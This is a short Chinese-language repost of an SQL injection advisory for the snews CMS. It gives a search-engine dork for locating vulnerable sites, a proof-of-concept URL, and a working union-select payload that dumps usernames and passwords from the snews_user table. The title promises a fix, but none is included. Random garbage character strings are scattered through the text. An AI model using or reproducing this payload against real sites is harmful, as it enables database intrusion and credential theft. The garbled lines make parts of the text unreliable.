CMS snews SQL注射及修复

admin

标题: CMS snews SQL Injection Vulnerability
# r, K' G4 F+ Y+ H作者: By onestree
下载地址 : http://snewscms.com/
9 t% o. h6 W/ ?3 V测试平台 : ubuntu 12.10 / win 7
关键词: inurl:"tanyakan pada rumput yang bergoyang"

* S; o& @9 ^( @4 C5 I+ A6 @% z
*************************************************************
2 [: c( Q- n3 m2 ~8 u0 k8 O7 ?* }1 Q
6 b/ t( W9 @8 qSQL poc:

http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]

示例

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
$ Z: O  w% {# `' `
9 y, C7 K5 N9 P. F
* Q5 w7 t! k( N3 I6 n致谢:

% f" f, `* \& l( |9 I6 R  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
+ q* l0 T( ~* s1 T7 d! n1 e     
& F' E$ a/ i; i. O8 [2 E/ z          indonesiancoder - moeslimh4x0r - go-coder

* A) l4 a- r/ n1 Hspesial my hunny :*
) d' L' O, p& _2 E# A. }